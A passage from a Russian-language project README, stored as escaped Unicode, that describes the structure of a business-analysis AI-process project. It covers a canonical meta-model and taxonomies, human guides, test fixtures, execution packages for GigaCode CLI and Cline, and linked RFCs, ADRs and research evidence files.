\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438/\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044e;\\n\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 (\u0437\u0430\u0434\u0430\u0447\u0430 `B-158`), \u0430 \u043d\u0435\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n[`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md).\\n\\n## \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u0438 \u0436\u0438\u0432\u0443\u0442 \u0437\u0434\u0435\u0441\u044c\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u043e\\n[`standards/project-structure-inheritance.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/project-structure-inheritance.md):\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0436\u0438\u0432\u0451\u0442 \u0432 `projects/<\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435>/`, \u0430 \u043e\u0431\u0449\u0438\u0439\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433 `research/` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0439 \u0440\u0430\u043c\u043a\u043e\u0439. \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e \u0432\\n[PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572),\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-155`\\n([#573](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/573)).\\n\\n\u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\\n[Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md),\\n\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0442\u0435\u0441\u0442\u044b \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043c\u0435\u044e\u0442 \u0444\u043e\u0440\u043c\u0443 \u0441\u0432\u043e\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u044b \u0432 `ba-meta-model/`: \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u0438 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435\\n\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438.\\n\\n## \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Source\\n\\n- [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n  \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563),\\n  \u0432\u0435\u0440\u0441\u0438\u044f 0.2 \u2014 [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 `MM-1`\u2026`MM-4`,\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0440\u0435\u0435\u0441\u0442\u0440 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n  `DP-1`\u2026`DP-5`, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435\u043c `LG-1`\u2026`LG-6`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  `SKILL.md` (`SK-0`\u2026`SK-10`), \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442, Golden Set \u0438 \u043f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n  MVP-\u0441\u0440\u0435\u0437\u0430 \u0441 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438 `M-1`\u2026`M-5`. \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435\\n  [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n  \u0438 [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md)\\n  \u0437\u0430\u0434\u0430\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e;\\n  [`product-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/product-taxonomy)\\n  \u0445\u0440\u0430\u043d\u0438\u0442 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 capabilities MANGO \u0438 \u0438\u0445 42\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0439 \u0418\u0422/\u0442\u0435\u043b\u0435\u043a\u043e\u043c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0432 Distribution.\\n- [`meta-model-guides/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/meta-model-guides/README.md)\\n  \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443: \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0447\u0438\u0441\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB,\\n  Confluence MCP, \u0437\u0430\u043f\u0443\u0441\u043a/\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 task \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 debug.\\n- [`tests/execution-package/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/tests/execution-package/README.md)\\n  \u2014 mock-fixtures, assertions \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0433\u0440\u0430\u0444\u0430 \u0431\u0435\u0437 LLM \u0438 MCP.\\n- [`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md)\\n  \u2014 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0441 `.gigacode/skills/`, \u044f\u0432\u043d\u044b\u043c dispatcher, debug-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438, \u0433\u0440\u0430\u0444\u043e\u043c, Golden Set \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c `G-mach`.\\n- [`dist/execution-package-cline-vscode/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-621-bd8c46c08849/projects/ba-ai-process/dist/execution-package-cline-vscode/README.md)\\n  \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0438\u043b\u043e\u0442 Cline \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e BCREQ Working \u2192 Release \u0441 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438\\n  hooks, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c runner, CI gate, trace \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f; Source\\n  \u0441\u0431\u043e\u0440\u043a\u0438 \u2014 `build/common/` \u0438 `build/adapters/cline-vscode/`.\\n- [`meta-model-guides/qwen-chat-runtime-migration-instruction.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/meta-model-guides/qwen-chat-runtime-migration-instruction.md)\\n  \u2014 \u043c\u0430\u043d\u0434\u0430\u0442 \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runtime \u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c\u0443\\n  quick-check \u0432 Qwen Chat; \u044d\u0442\u043e \u043d\u0435 execution package.\\n\\n\u041f\u0430\u043a\u0435\u0442 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 RRP-\u043c\u043e\u0434\u0443\u043b\u044c. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e,\\n\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432\\n[\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml).\\n\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n\u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\nProject-scoped \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n[`decisions/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/decisions),\\nRFC \u2014 \u0432\\n[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `experiments/`, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 Distribution \u2014\\n\u0432 `dist/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u0432\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md).\\n\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0434\u043b\u044f API, \u041b\u041a \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u043e\u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\\n[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n\u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f issue #603 \u0447\u0430\u0441\u0442\u044c \u043e \u0440\u0430\u043d\u043d\u0435\u0439 MANGO-\u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 Distribution.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0434\u0432\u043e\u0439\u043d\u0430\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n\u0434\u0435\u043b\u044c\u0442\u043e\u0439 Source.\\n\\n\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u0432\u0441\u0435\u0445 67 legacy-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043a issue #605 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432,\\n\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b FR/UC/NFR \u0438 TM Forum binding \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f\\n\u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043e\u0442 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e baseline \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438,\\n\u0432\u043a\u043b\u044e\u0447\u0430\u044f NFR\u2192FR, \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0442 \u0432\\n[RFC Working Document \u2192 Release Document](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md).\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u0441\u043a\u0432\u043e\u0437\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 Source \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md)\\n\u043f\u043e issue #630 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 20 \u0442\u043e\u0447\u0435\u043a \u0442\u0440\u0435\u043d\u0438\u044f \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430; \u043f\u0430\u0440\u043d\u044b\u0435 \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 